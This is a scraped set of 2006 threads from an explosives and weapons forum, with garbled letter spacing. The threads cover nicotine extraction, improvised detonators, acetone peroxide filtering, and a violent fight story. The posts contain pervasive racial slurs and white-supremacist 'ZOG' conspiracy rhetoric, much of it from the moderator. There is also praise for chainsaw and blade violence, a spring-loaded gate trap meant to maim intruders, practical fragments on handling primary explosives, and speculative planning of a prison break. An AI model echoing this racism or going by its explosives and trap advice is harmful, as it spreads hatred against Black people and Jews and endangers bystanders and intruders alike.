h o m e? do you just empty the stuff the n boil it? is it that simple? W ouldnt the fum es com ing out during the boiling process be
toxic?
Appreciate all help
Jacks Complete February 18th, 2006, 11:18 AM

If you boil it, you might be wa sting your tim e. I'm fairly sure the Nicorette patches are just sm all am ounts of pure nicotine in a
substrate. The inhalers almost certainly work the sam e way. Hence, though I don't know for certain, I suspect a purely
m echanical recovery would be best.
Have you cra c k e d o n e o p e n y e t ? P o s t p h o t o s !
p.s. good first post!
Cyclonite February 19th, 2006, 03:23 PM

Be sure to be very careful, a tiny am ount can ruin your day. The patch would be the easiest way to go, the plant I work at
m a k e s t h e m . J u s t r e m ove the transderm al gel and your left with nicotine .

http://There's a pretty complete discussion on this topic at:
www.sciencem adness.org/talk/viewthread.php?fid=15&tid=3404&action=printable
Try reading up on it and see if you can duplicate the results posted there. :)
leon36 March 18th, 2006, 09:07 AM

Just reading through that discussion, does that m e a n a l l t h e s t u f f p e o p l e p o s t a r o u n d a b o u t g e t t i n g it from boiling cigarette
content doesnt work?
++++
No.
NBK

The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > Attacked!
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Just a couple of days ago, I w as at an associates business when he w as violently assualted by a race-traitor over a goat. Yes...a goat. :rolleyes:
Some background:
My associate rents a business property from a chinese landlord who also rents out another property to some mexicans (who are running a chopshop) and w ho lets a nigger live
in a trailer in the back lot for free, in exchange for doing repairs and labor for him.
Anyways, this nigger fancies himself to be a 'cow boy', with several horses and a goat kept in back w here he lives.
This nigger, being a nigger who likes meth, is alw ays spun-out and not around, leaving his animals to fend for themselves. For the horses, it's not too bad, since they can graze
and get water from the wet grass. But for the goat, the thing is pitiful...locked in a filthy horse trailer with no food or water, with the most pathetic bleating sounds imaginable.
After 5 days (that we know of) with no w ater, my associate finally called animal control to come and get the animals. Neither of us likes cops, or even pseudo-cops, and being
on parole my associate likes them even less, but animals are helpless and if it gets the nigger out of here, then it's all good. :)
The nigger shows up after the chink tells him (after almost a week of trying to reach him ourselves) that animal control is coming to take his animals away. So FINALLY the
dipshit shows up to feed and w ater them.
He's got some race-traitors with him (caucasians w ho hang w ith niggers) who are talking shit about my associate calling animal control. My associate tries to talk to them in a
calm and rational manner, but one of them is hyped up and attacks my associate.
Dudes pretty buff and hyped up, so it's a struggle to keep him out of the shop, w here he's got himself wedged in a side door, trying to get in. While my associate is struggling to
hold the door shut, I grab a mower blade and start hitting dude on the elbow with the flat of the blade, hoping the pain will get him to w ithdraw . He doesn't, so I switch to
hitting his head w ith the sharpened edge. That does the trick. :D
Dude doesn't take the hint, and goes around to the front where he throw s a shovel through the glass door (locked) and tries to get in with a 2x4 to attack. I blast him in the
face w ith a fire extinguisher and my associate has, by this time, fired up a chainsaw (we fix mow ers and such) and goes to defend his shop.
He got a slice on dude, but the saw died out (crappy adjustment by the drunk who fixes them), otherwise dude would have been carved like a christmas turkey. As it is, he got
cut good and fled with the nigger when he pulled up in front.
Best part of all...I got the whole thing on video. :)
When the idiots first drove in, I got my camcorder out and turned on, and had it sitting on the counter when dude attacked. It has him trying to get in, us fighting him off, and
the chainsaw w hacking.
Of course, when the cops show ed up, we gave it to them as it proves that w e w ere defending ourselves against an attack, and not the attackers as we're sure the nigger and
race-traitors w ill claim. If I get it back from them, I'll upload it somewhere for sure.
They haven't caught the race-traitor w ho attacked us yet, but they've already gaffled up the niggers kids and mother, so he'll rat out his buddy for sure. Won't be hard to
identify him, w hat with the hack marks on his arms and head, plus a chainsaw cut. :p
Anyways, I found out that the drunk who works for my associate as a mechanic, isn't worth a fuck in a fight, since he w as hiding in the office the w hole time and didn't come
out till the cops showed up. Cowardly piece of shit. :mad:
And now my associate is listening to my advice about securing his business, something he dismissed previously as being 'unnecessary'. He's singing a different tune now , boy!
The drunk split, and my associate is staying with his girlfriend at night, leaving me to watch the place. I'm 'armed' w ith a new paintball gun with the velocity maxed out and
better weapons on the way.

Hahaha, nice one! Very Mad Max, that, w hat with the chainsaw and it dieing and all.
If you've got a freezer, stick a bag of paintballs in there, and leave a full hopper on the gun. If shit happens, and you have time, mix them.
tmp February 14th, 2006, 02:45 PM

It's sad that some morons decided to attack over your concern for neglected
animals. What was that idiot hopped up on that it took a chainsaw to ward
him off ? Other weapons on the way ? May I suggest a military crossbow.
If that meth-head rolls over on his buddies, I'd expect retaliation if they're
even half as strung out as he is. Take care !
Alexires February 14th, 2006, 10:58 PM

Yeah! Go NBK!!! *alex cheers*
Probably a good thing that the chainsaw died when it did. Breaking parole by killing someone with a chainsaw w ould suck absolute nuts.
What kind of security measures did you suggest to your associate?
Anyway, good one NBK, and I look forward to the footage *chuckle*

Barbed wire, chain link fencing, fence electrifier (cattle type), expanded metal mesh over the windows, replacing glass with polycarbonate, major door reinforcements with 2x4
in brackets across the doors, remote fired tear gas dispenser (www.stopthecrime.com), megawatts of lighting, etc. etc.
By the time w e're done, it'll look like a prison, jand be just as secure. Ah, home sweet home. :)
I can't get into weapons, for obvious reasons. ;)
Oh, and a major civil lawsuit for major bucks against the property ow ner who's a multi-millionaire (ka-CHING!) for instigating the w hole incident. I might become a millionaire
and never have touched a gun. :D
We found out that the nigger is a child-abusing, w ife-beating, crumb-snatching drunk felon. So w hen they catch his ass, there will be no sympathy for the turd. :p
As for video, it'll be months before the courts are done w ith the case, so it'll be aw hile, but should be well worth the wait. :)
rick6 February 19th, 2006, 11:08 PM

Wow!! sounds like you have some fucked up neighbors-----an added piece of security is (if you have a metal fence with a gate) weld an automotive coil spring to it, open it
(this will require some effort) and set a simple tripwire mechanism. A low gate w ill claim an intruders testiscles:eek: while a tall gate (never tried that one) should simply mince
the intruder into dog food:D
tom haggen February 21st, 2006, 01:47 AM

I wouldn't stick frozen paint balls in your paint ball gun as this could destroy the guns working parts. BTW, this is one of the best fight stories I have herd in months if not years.
Maybe we'll see you on real TV some day :)
Also, is that blood spatter from the chain saw wound, or is it from an injury sustained to this guy when he w as trying to break the front door dow n?
nbk2000 February 21st, 2006, 10:41 PM

I don't know w here the blood came from, whether my cuts, or the chainsaw.
But...the nigger came back last night!

The dumb ass snuck in through the fields and was in his barn getting his shit out, but the numbnuts turned the lights on! Like we're not going to notice lights on in a barn during
a pitch-black night. :rolleyes:
So anyways, the cops come after I had to convince them of the need. Seems the nigger himself isn't charged w ith anything, only the wigger, so they can't arrest the nigger. But
I convinced the fuckers that, even if the nigger isn't arrestable, that doesn't mean they can't have a 'talk' with him about his wigger buddy, who is arrestable.
So they saw the w isdom of my logic and came. Nigger gave up his w igger friends name (as I knew he would) and they told him not to come back. :)
So the nigger is gone, the wigger is soon to be gaffled up, and the cops are fucking with someone other than me for change. A w in/win.
FireFly February 22nd, 2006, 02:50 PM

NBK, is your life always this interesting?
nbk2000 February 23rd, 2006, 05:57 AM

No.
It only seems like I live a dangerous life because the only time I post about something that has happened to me is when it's something 'interesting'.
I don't write about the endless days of tedious life that punctuate the brief moments of interesting (near) death. :)
billybobjoe March 9th, 2006, 10:13 PM

hey guys just a quick question, when I click on the picture links nbk provided I get a message that says I am not authorized to view that page. Is this because I'm a noobie?
++ ++++ +
Yes.
You have to have had 10 posts approved by staff before you can download attachments, and those 10 have to be outside of the Water Cooler, which doesn't count.
NBK
Silentnite April 7th, 2006, 03:28 AM

Its alw ays good to hear of someone not getting in trouble for defending themselves.
RalphRussell April 7th, 2006, 02:31 PM

This post, even though its in the watercooler section, is most likely going to get me banned. When I found this forum, I got very excited. All of the chemistry information
available here is amazing. When I read about the attempts to shut it down, I became angry and even sent in a donation to the legal defense fund.
I am not qualified to post anything in the "real" forum because I don't know enough about chemistry. However, I am an "older" person who is nearing retirement. That means I
will have time to learn more and do more. When, I joined the forum, I w as thinking that I w ould eventually be able to contribute useful information. But we are talking years
before that could happen.
What I have discovered is that the information published here is attracting extremists such as survivalists, anarchists and racists. I don't like it! This forum should be about pure
science.
Using freedom of speech as an excuse, certain members insist on stating their extremist view s, I should be able to exercise my free speech freedoms as well.
I am w hat some would call a "bleeding heart liberal". I challenge the admins to ban anyone who refers to black people as n____s. I don't mind people using the "F" w ord but I
am strongly against the blatant racism represented by the "N" word. I think anyone w ho uses it should be banned from the forum!
If you ban me because of this post, at least leave it visible so others can read it.
nbk2000 April 7th, 2006, 08:12 PM

You're going to have a hard time w ith that one, considering how both admins are avowed racists. :p
Say w hat you want, but don't expect a change of policy anytime soon. ;)
What I have discovered is that the information published here is attracting extremists such as survivalists, anarchists and racists.
That what happens when you're the only site that has intelligent discussion of E&W that doesn't restrict itself to 'dreaming' or a 'no practical applications' policy, like everyone
else in the field does.
I don't like it!
Then stop coming here. See? An easy solution to a liberal's non-problem. :)
Typical liberal...supports freedom of speech...as long as its Politically Correct speech. :rolleyes:
You realize, of course, that Lincoln had absolutely no concern for niggers w hen the south decided to break from the US, right?
It w as just the one issue that the south w ould NOT negotiate on, regardless, as it was part of their heritage and their honor would not permit them to cave on such an issue to
the liberal northeners demands on the subject.
Better to fight a w ar you w ill lose than to live dishonored!
So, because the north was driven to w ar by whining liberals over the issue of slavery, which would have died a quiet death from economic inefficiency within a few decades
anyways, the negros got their freedom!
Hallajueha, mam'my!
And look what they've done with it. :rolleyes:
I'd have shot Lincoln myself if I was back then.

I personally am also against the blatant use of the word Nigger. But the w ord does apply to some people, as does w hite trash, or any other of a host of epithets. Regardless I'll
ignore other people using it, because its MY belief not theirs. I just won't personally throw it about.
If you want pure science, isn't scimadness still around? But I'm sure you'll find the same thing there.
Recently I got into a discussion about how something was on television that someone did not want to see. So they wrote a letter, got mad, called, and tried getting people to
boycott the channel or network.
All instead of STFU and changing the channel.
NBK, any chance of seeing some pics of the various traps you plan to lay?
Chris The Great April 8th, 2006, 11:23 AM

Using freedom of speech as an excuse, certain members insist on stating their extremist view s,
The thing is, that IS freedom of speach, to be able to say things that not everyone w ants you to say. Is it freedom of speech if people are banned or punished for saying what
they want?
Anything less than complete freedom of speech is a complete farce. This board is more free than most (all probably) countries in the world. Try saying that Israel should not
exist, or that the holocaust was a hoax, or that race has an effect on social standing or intelligence, and see how the government (or media, or the common sheeple) protect
your "right to free speech". Freedom to say what they w ant you to say, and not much else.
And yes, you can say what you w ant to say about others non-politically correct opinions, but you're not going to have anything done about them. Otherwise, w e'd have to ban
you to, for speaking out against the use of the w ord nigger, as it would only be fair, right?
Well of course not, you're obviously the one w ho is right in this situation, since your view s are the commonly accepted ones. :rolleyes:
Now, if your view wasn't the commonly accepted one, for example a while ago w hen niggers were openly called that and w hipped if they didn't pick the cotton fast enough,
you'd still be right, wouldn't you?
Even though, it is exactly the same thing here, except some of the people think the opposite. The minority now speaks against the blacks rather than for them.

This is cool. I didn't get banned and I truely thought I would. Three w ell thought out responses followed my post. I like that!
I would like to clarify my position. I'm not against anyone expressing racist ideas. It is the emotionally charged word that I object to. Even if you are using it to describe a single
individual, because of the word's history, it applies to the entire race.
I live near a big city. We have "gangbangers". Sometimes the initiation rites for these gangs include going out and killing someone (preferably a cop). And yes, these folks are
usually black.
I don't have a problem with NBK or someone else like him giving these guys the gift of a bullet in the back of the head. It would save us taxpayers a lot of money.
However, if you call them n____s in your post, you're gonna piss off that black college professor of chemistry that might have contributed something real useful to the forum
until he started reading the posts.
I absolutely promise to shut up now.
nbk2000 April 8th, 2006, 10:05 PM

I don't have a problem with NBK or someone else like him giving these guys the gift of a bullet in the back of the head.
Liberals have no problem w ith killing people, as long as someone else does the killing for them.
It w ould save us taxpayers a lot of money.
Are you sure you're not a crypto-conservative? :p
We support free speech w ith just a few exceptions:
Constant attacks against America (Politican bashing is OK, though. :))

Personal attacks against staff or members
Instigation to commit crimes such as treason, insurrection, or other Federal offenses. Don't discuss political overthrow and weapons on the same site. We learned the lesson of
RaiseTheFist.
Other than that, it's pretty much anything goes.
Alexires April 9th, 2006, 09:55 AM

RalphRussell, have you ever read 1984? In it, the English language is replaced with New speak. The point of this language is to eliminate all the words that inspire unacceptable
emotion. Have a little look at this
http://ww w.newspeakdictionary.com/ns-pi.html
Go dow n to N
My, isn't that interesting?
Would you also have the emotionally charged word 'love' removed as well? Has it not killed more than the word Nigger ever has? Love of country, love of religion, even love for
Helen of Troy killed quite a few people as well.
We may piss of that black college professor, but I'm sure that he isn't the only college professor interested in this site. Anyw ay, to be a professor must mean your either really
good at acting, or you are part of the same system that w ould look to ban this site for its 'extremist' ideas.
Anyway, that is just my opinion. Sorry for going off topic a little NBK.
festergrump April 9th, 2006, 11:43 AM

I'm simply curious as to w hy Mr. Russell does not approve of survivalists. Is preparedness extreme? Does their preparedness make him uncomfortable? Does someone else's
preparedness somehow infringe on his own rights? Or is it the fact that they may find legal ownership of firearms a completely crucial component of their survival in the very
worst of conditions, to both protect themselves and hunt for food?
Funny thing about "bleeding heart liberals" is while they so much embrace their own 1st amendment right (including but not limited to being able to assemble and speak freely),
they use that same right to try to delude everyone else into thinking they will never need the second amendment right (to bear arms) and it should be stricken from the
Constitution forever!
Adversely, as a gun ow ner I would use my weapon to defend your right to speak as freely as you care to, even if it opposes my ow n opinions or beliefs, Mr. Russell. You w ere
born a free man w ith those rights. They w ere not given to you by any government that would prefer now to take them away from you and I both.
BTW, here's a link to the "bleeding heart liberal" section: http://www .sciencemadness.org/talk/index.php
Alexires, it wasn't you who first trampled all over NBK's thread but it was actually amusing that Mr. Russell chose this very thread to "attack" NBK's administration habits and
casual use of the word nigger... Besides, I don't think the piggies will ever give NBK's tape back to him. As much as we'd all love to see NBK physically chop some whigger's arm
and *doink* him in the grey matter w ith a lawnmower blade (Slingblade style, Mmm Hmm)... I highly doubt we'll ever be so lucky.
No sense in letting what is now a very different but interesting discussion die.

I'm simply curious as to w hy Mr. Russell does not approve of survivalists.
I chose my words badly. I have no problems with survivalists. I w ould have to say that it's fine to go out and buy all the guns you w ant. However, if you rob banks to finance
your gun collection, then I object.
I realize I'm not going to prevail. I'll be satisfied that my posts survived. If that black professor comes looking, he might see that at least one person here strongly objects to
using the "N" word and WAS ALLOWED TO SAY SO!
Iostream April 9th, 2006, 01:38 PM

Personally, I'm not to fond of racism, but if w e are allowed to use terms like White-Trash, Red-neck cocksucker, or anything else that refers to a typical white person in this
forum.
Then we can call it even for them (the whites) to call us goats, niggers, sand-niggers etc. But I don't think there'll be any who'll actually call them, most are just pussy. I say
SPEAK OUT and insult! ;)
nbk2000 April 9th, 2006, 08:57 PM

...terms like White-Trash, Red-neck cocksucker, or anything else that refers to a typical white person in this forum.
Typical white people aren't Forumites, since the typical white person has been brainwashed by the Zionist media into believing that something is inherently wrong w ith being
white, and people who believe that don't go to about forum about E&W...a hobby that's entire disapproved of by ZOG.
Therefore, your statement is incorrect. :)
Only white people who affirm their freedom by seeking means of resistance to the ZOG overlords are members of the Forum
(Barring the occassional sheeple w ho stumbles in to bleat "Four legs good, two ZOGs better!")
So the only redneck cracker honkey white-trash you'll see from here are the ones surrounding the Citadel of Knowledge that is The Forum! :D
(Everybody stand to shout agreement in a 2 minute hate! Big Brother is w atching...\^ |)
And my use of the word 'nigger' is in no w ay casual. It's a very specific term used to describe a very specific type of vermin.
ntermensch, while equally applicable to the species, encompasses too many others of the type, that of the sub-human.
Besides, why should I stop using the word to describe them as such, when they use it in every song, music video, TV show, and movie that they themselves produce? :p
Hell, even oprah has used the word!
As for the video, you're far more likely to see it on RealTV than from me, as it'll be a long time before the capture/trial/appeals process runs out and the tape is no longer
needed and returned to me. By then some pig will have made a copy and cashed in on it, as they always do. :rolleyes:
Liberal (http://www.newspeakdictionary.com/ns-my.html) - Used to mean :
"Free from narrow prejudice; open minded, especially, open to the reception of new ideas or proposals of reform.".
Now means:
"Full of hatred for past Ideas, and completely intolerant of the people that still believe in them. Socialist."
Most liberal arguments basically boil down to "Shut up in the name of open-mindedness and free speech!". The liberal observes evils in society, and then attempts to remedy
the problem w ith an even greater evil.
Prejudice - Acknow ledging that there are differences betw een the various races and cultures, and preferring to be among people of like interest and culture.
If w e w eren't prejudiced in favor of E&W, we'd be discussing needlecraft and sushi making. :)
Mr.Azo April 13th, 2006, 06:54 PM

I think RalphRussell have broken the paragraph about "inciting pointless argument about race" (compare to "inciting racial hatred", only you won't experience the pleasure of
Bubba's wienerstab). :rolleyes:
nbk2000:In fact, I think I'll start a new policy tonight. (http://www.roguesci.org/theforum/57876-post136.html)
ANYONE posting a comment or link to something that I believe will devolve into a pointless argument about race will be summarily banned. It might even be retroactively
applied.
By the way, check out "Narrow Minded Bigot (http://www .newspeakdictionary.com/ns-my.html)" in the dictionary.
nbk2000 April 13th, 2006, 10:13 PM

That was several years ago that I said that, and w as in response to a lot of instigation being caused by a couple of european liberals (w ho shall remain unnamed) w ho were
subsequently banned.
Since then, it hasn't been much of a problem, but the stick is always present if the carrot fails to deter the undesirable behavior.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Tannerite targets detonation
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pumpfast01 February 18th, 2006, 04:55 PM

H a s a n y o n e h a d a n y e x p e r i e n ce deton ating Tannerite targets without using a high powered riffle? Tannerite targets are
s u p p o s e d t o c o n t a i n 9 5 % a m m onium nitrate and 5% fine flake aluminum powder.
More specifically, would an 8oz. tannerite target detonate with 10 gram s of enclosed 70/30 perchlorate / alum inum (flash
powder) used instead of a balsting cap?
Bert February 26th, 2006, 09:39 AM

The short answer: NO

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > O nline Ordering??
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andyd123 February 20th, 2006, 04:27 PM

im not quite sure i've posted this in the right section but i used the search functio n and this forum section came up with
references. So im just wondering if anyone has ordered from http://www.guns2u.com / lately. I know about a year and a half
a g o t h a t s o m e p e o p l e h a d p r o b l e m s with the site and stuff but just wond ering if now that tim e h a s p a s s e d i s i t s a f e t o o r d e r
again. thanks for any help
+++++++++++++
'im' is for instant m e s s a g e s .
'I'm' is for The Forum and everywhere else whe re you are using it as a contraction of the term 'I am '.
T h e s a m e a p p l i e s f o r t h e u s e o f t h e l e tter i when referring to yourself. It is to ALWAYS be capitalized, as in "I wish to remain a

m e m b e r o f T h e F o r u m , a n d n o t b e b a n n e d f o r b e i n g a l a z y r a p i s t o f t h e e n g l i s h l a n g u a g e .".
Sam e applies for the beginning of every sentence needing to be capitalized.
Plea se m ake a note of this. :)
NBK2000

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Nitroglycerin in detonators
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hitwhereithurts February 20th, 2006, 11:12 PM

Is nitroglycerin powerful enough to use to m ake my own detonators for R DX, ANFO, and TNT? Also if I pass an electrical charge
through the NG - say 12V - wo uld it detonate?
Thanks,
Jerry M.
nbk2000 March 9th, 2006, 03:06 AM

Question 1: Yes, but it's a secondary, not a prim ary, ex plosive. Thus not ideal or even feasible for that application.
Question 2: No (with exceptions).
Boomer March 31st, 2006, 09:54 AM

How is he gonna pass current trough an insulator?
If you pass *enough* current, a secon dary works as well (read kilovolts/kiloam p s a k a E B W ) .
G u e s s h e ' s g onna use it for "ANFO ... m ining purpose O NLY" using 50/12 /41 fertilizer (101% total).
Or h e m ight use a "detonator, you think it'l work" with 8 g AP (ha n d r a m m e d ) .
W onder why I hardly com e h e r e a n y m ore? I want the old NBK back, not one who is afraid "if I ban them all our lines get too
thin".
nbk2000 April 1st, 2006, 04:14 AM

If I deleted the new topics and banned all newbies for asking stupid questions, who would m e m b e r s h a v e t o m ock? I could be
s e l f i s h a n d h og all the humilation of idiots to m yself, but I'm no t selfish. I'm sharing the fun and joy of n00bie hum ilation with
everyone! :)
P l e a se also note the following:
The Water Cooler No range of topics, little mod e r a t i o n , n o q u e s t i o n s r e f u s e d , o r a n y o n e b a n n e d .
So, as long as they post in it the W C , t h e y ' r e s a f e . I f h e h a d p o s t e d t h i s o u t s i d e o f t h e W C , then he'd be HED bait. You don't
s e e J a q u e s a r o u n d a n y m ore, do you? W onder why...:rolleyes:
And you are free to com e here, or not, as you choose.
Jacks Complete April 2nd, 2006, 10:12 AM

You can tell he's a bit dim, be cause he would a ppear to have signed his post (in contravention of the rules) with his real name
and initial... D'uh!

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Tor anonymous internet
network
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DaedalusX February 22nd, 2006, 08:24 P M

I know tor is kinda old but for those who didnt know about it should really check it out.
http://tor.eff.org/overview.htm l.en
http://tor.eff.org/cvs/tor/doc/tor-doc-win32.htm l
It works kind a like a proxy chain

Installation is very easy.
W orks on W in32 / Linux / OSX
Open source
S u p p o r t H T T P S , I R C , a n d a l l S O C K 4 / 5 (which most proxie don't)
Give it a shot!
nbk2000 February 23rd, 2006, 06:07 AM

You sir, are truely a most excellent winner, for having posted knowledge of a m o s t a r c a n e a n d u n i q u e n a t u r e , n e v e r b e f o r e
s e e n h e r e o n R S.org.
Yea, though the subject m atter be obtuse and prosaic, you've m anaged to cut to the heart of the m atter with your two links in
a stunningly fresh m anner.
W e all bow and grove l before your superior skillz. :eek:
+++++++++++++
Now that I'm done be ing a sarcy ass...
Seriously, is this something that hasn't already been mentioned before here? I think it ha s. If you did a se arch, it may not
have com e u p b e c a u s e T O R is only 3 letters long, and the search index doesn't work on less than 4 letter queries (unless
VBulletin updated it).
Still, a search is always in order prior to posting .
Fortunate you are, indeed, to have posted this in the W ater Coo ler. I'd n ot venture out of this section for a while if I was you, if
your other posts are any indicator of your future usefulness. :m a d :

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > newbie introduction
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mrbisket February 23rd, 2006, 09:21 AM

ok as the forum rules say post in the water coller till you have figured out the forum so i guess i will obey n b k r u l e s s o i g u e s s
ile introduce my self ime mrbisket i live in australia ime not relly that old late teens you could say im e not relly that good with
c h e m i s t r y a n d e x p l o s i v e s b u t d o n t g e t m e w r o n g i v e d o n e s o m e b a s i c s b lack powder flash poder sm oke screens (not relly
chemistry i know ) the reason ive sighned up like most people i wanted to learn i few things ive looked at other forums so far
t h i s i s t h e b e s t o n e i v e f o u n d t h i s s e e m s t o b e a v e r y p r o f e s s i o n a l o n e t h e m o d s a r e d o i n g there jobs and every on e e l s e
s e e m s to be very educated to.
sence i dont know that m uch i thought ide join a proper forum to learn from t h e p r o s i v e l o o k e d a t a l o t o f n b k s p o s t a n d t h e r e
very well how do i say there like a holy grail i guess not that ime ass kissing or anything i hope to learn a lot m ore from this
forum so far ive planned on taking basic high school chem istry classes and mabe s o m e o u t s i d e s c h o o l o n e s l o o k a t a l o t o f
t e x t b o o k s i c a n f i n d s o i f a n y o n e c a n p m m e s o m e ide relly be thank full but ide just search the forum too like the rules
poin t out . also while on the subject of text books and pming inform ation if any o ne knows any orgs that teach chemistry in
brisbane ide like to find out so ide be thank full for that to. well that com pleats m y intro m a b e s o m e o t h e r n e w b i e s s h o u l d
post there intro here to also ide just like to thank nbk againe for his post there very educating and i hope to see more of them

My first reaction at se eing the above post was KILL! KILL! KILL!
But we're not supposed to BAN 'em if they post their atrocities against the english language in the water cooler. :rolleyes:
So...if every tim e you p o s t h e r e , I s e e s o m e k i n d o f i m p r o v e m e n t i n y o u r gram m er and spelling, I'll let you stay.
1. Start with capitalizing the beginning of your sentences.
2. HAVE PARAGRAPH BREAKS! Not one big run-on block of text.
3. The letter I, when used to refer to yourself, is ALWAY S capitalized.
Pay more attention in school about how to write a sentence, and then USE IT.
This isn't a chat room or IM session, it's a bulletin board. W e can NOT tolerate poor gram m er or vocabulary when writing about
things that can turn you into a pink m ist because of a incorrectly spelt word. R e a d t h e m ost recent entries in the Banned For
Life section for examples of what NOT to be. :)
If, b y your third post here, you aren't doing at least one of the three things listed above, you're gone. :)
simply RED February 25th, 2006, 08:19 AM

" i v e p l a n n e d o n t a k i n g basic high scho ol chem istry classes and m a b e s o m e o u t s i d e s c h o o l o n e s "
Little Iva planned, bu t she never did :) ...
tmp February 25th, 2006, 10:54 AM

I saw that one com ing even before getting to NBK's reply. NBK is extrem ely
intolerant of that type of post.
Mrbisket, you'll survive here longer if you capitalize, punctuate, spell correctly
a n d u s e p r o p e r g r a m m ar. This is from a person who HATED English throu ghout
high s c h o o l a n d c o l l e g e . M o s t m a t h a n d science types d o ! I'm using the 1st
s i x l i n e s o f y o u r p o s t t o g i v e y o u a n e x a m ple. W ork on that and work on your
chemistry.
"OK, As the Forum rules say, post in the W ater Cooler until you have figured out
the Forum. So I guess I will obey NBK's rules. So I guess I'll introduce myself.
I'm Mrbisket. I live in Australia. I'm not really that old - late teens you could
say."

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > servus
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trinitrotoluol February 25th, 2006, 08:18 AM

o k , f o r t h e s a k e o f n o t g e t t i n g b a n n e d right away i'll post m y intro in the watercooler before doing anything else. first things
first, m y english sucks because i'm native germ a n s p e a ker, bavarian to be exact. i started with sm o k e b o m b s a b o u t two years
a g o , t h e n g u npowder and late ly som e H M T D . s t o p p e d t h e H M T D f o r s a f e t y r e a s o n s , t h o u g h. currently i'm trying to g e t m y h a n d
o n s o m e H C L t o m a k e h e x a m ethylenetetram in e dinitrate. besides my explosive hobby i actually a m interested in chem istry,
double 7 in science and chem + phys higher next year. interetingly enough i didn't have a ny serious accidents so fa r, only
proffesional injuries like a hell of a lot of burns from m y soldering iron (or however you call that thing), som e caps delivering
their charge through m y body and finally acid "m arks" on m y right arm .
of course all this is purely fictional and i have n ever violated the law in any way:)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > AP filtering
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Olib February 25th, 2006, 05:24 PM

I m a n e w b i e o n t h i s s i t e a n d i h a v e a q u e s t i o n o n A P . i a m m a k i n g A P a n d t h e c r y s t a l s h a ve form ed i was wondering when im
filtering it will the crystals all g o in the filter or will some stay in the jar? if that happens will i have to add some wate r to it an d
put it through the filter again ...? Thx..
Cyclonite March 2nd, 2 006, 11:47 PM

Yes, I use a Bicarb-W ater solution. There is som e trace amounts left in the AP but it is safer. Quicker also
me234 March 3rd, 2006, 02:06 AM

I'm a s s u m ing that yo u're asking if some of the crystals will stay in the jar when you pour out you mixture from the reaction?
If so, yes, some will stick to the sides of your jar, but what you said is correct, you can add som e more water to the jar, swirl it
around to wa sh the crystals off the sides, and then just add it to the rest of the crystals in the filter.
W hen you filter, don't forget to wash at least 3 times (p ersonal preference), this 3 times can include the water you used to
wash the leftover crystals from the jar.
P.S. OLIB, some useful advice from so meone just out o f newbiehood, use capital "I"'s. I know it seem s silly at first, but we
need to keep a high standard here, it helps stop people getting hurt through stupid things.
Oh, and well done, it was good that you used the Water Cooler for this, someone read the rules (wags finger).
Skean Dhu March 4th, 2006, 11:45 PM

Bein g a beginner is no excuse for not searching. Also you are in a forum, not an Instant chat room with your buddies so you
can afford the extra 2 seconds to type out entire words rather than shorthands su ch as , l8r, u,thx etc. as said above, we try to
have a certain professional attitude on this forum, so treat it as a term p aper rather than a chat to s o m e pimply faced kewl.
Having thoroughly lectured you I'll com mence with a bit of spoonfeeding. http://www.roguesci.org/theforum/showthread.php?
t=2324&highlight=Acetone+Peroxide
This will have answers to all your questions about AP, m aking it, and using it. Along with e xperiences of that threads
contributers.Also note in handy ready to print (though I don't suggest that ) PDF form at the linkin Arthis' signature. Might I
s u g g e s t r e a d i n g t h r o u g h a l a b b o o k , o r otherwise finding some basic che msitry la b proced ures and saftey techniques just to
further your life.
Best of luck

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Erythritol Tetranitrate
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explosive_boy February 28th, 2006, 08:48 PM

I saw afew posts about the chem ical I had afew questions about it nothing incedible stupid altho ill get fussed at for it im
shure. How stable is ERYTHRITOL TETRANITRATE. Is it a good prim ary for say detonationg a mixtu r e o f n i t r o m e t h a n e a n d
a m monium nitrate? How abou t s o m e d y n a m i t e ? I m t h i n k i n g o f p u t t i n g i t i n a 7 . 6 2 x 3 9 m m shell i've got for my chinese sks.
:con f u s e d :
Davo March 9th, 2006, 09:19 AM

W ouldn't it be a better idea to learn how to use the English language pro perly before playing with explosives?
I'm also guessing you're referring to Pentaerythritol Tetranitrate (PETN). It is fairly stable, used in detonation cord. There's
plen ty of inform ation available on it, I suggest you do a search.
cyclonite4 March 9th, 2006, 10:23 AM

Just incase you didn't know Davo, there is another explosive called Erythritol Tetranitrate, however your point is quite correct:
do a search first.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Prison Break.
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Alexires March 1st, 2006, 09:56 AM

This is purely a work of fiction. All opinions discussed hence forth are hypothetical and have no relation or bearing on current
events...
---------------------------------------------------------------------------
The crackdown has come.
We didn't act fast enough and the moderators, admins and the knowledgable among us are behind walls of steel, concrete,
rebar and razor wire.
The rest are crippled without information, only knowing what we have gleaned off TV, the scraps that the media and
government allow the sheeple to know.
Then a beacon of hope.... Someone discovers where the leaders among us are being kept.
The call goes out for supporters, for alone we are weak and little can be accomplished alone. Would you help to liberate our
leaders from the confines of the government holding cells?
fr0sengh0st March 1st, 2006, 03:31 PM

It becomes harder to formulate a coherent plan because of some guy who keeps asking for a amphibiancide for civilian
militants against a clone invasion of the time (read the latest banned for life post) - and there is no NBK to ban him. Luckily
its possible to get his IP address off the RS s erver and trace it back, he then becomes part of operation h uman shield or he
might even volunteer for a one way explosive run to take out a gu ard towe r ;).
Alexires March 1st, 2006, 11:34 PM

Yeah, I read that post. It confused me alot. I'm glad people agree with me in the fact that it made utterly no sense, unless
you had just been on a 5 day starwars binge with a bit of LSD thrown into the mix.
Prisons are made to keep people in (duhh), so a co-ordinated attack from the outside would most probably be successful in
my opinion. With the number of people around here, it is most probable that a few people would live close enough together to
make up a team of 12. With the knowledge between them, I'm sure they could get the mods out. But that isn't the question.
The question is, would you do it?
Chris The Great March 1st, 2006, 11:55 PM

I'd be there (either because I'm breaking people out, or because I'm actually being broken out).
It would need to be a team effort but it could be done. I imagine it would be easier than breaking out. The hard part would of
course be leaving, so we can open all the prison doors at once and drop some tear gas to rile up the rest of the inmates to
cover our escape.
This is quite an interesting "story" we're working on here :D
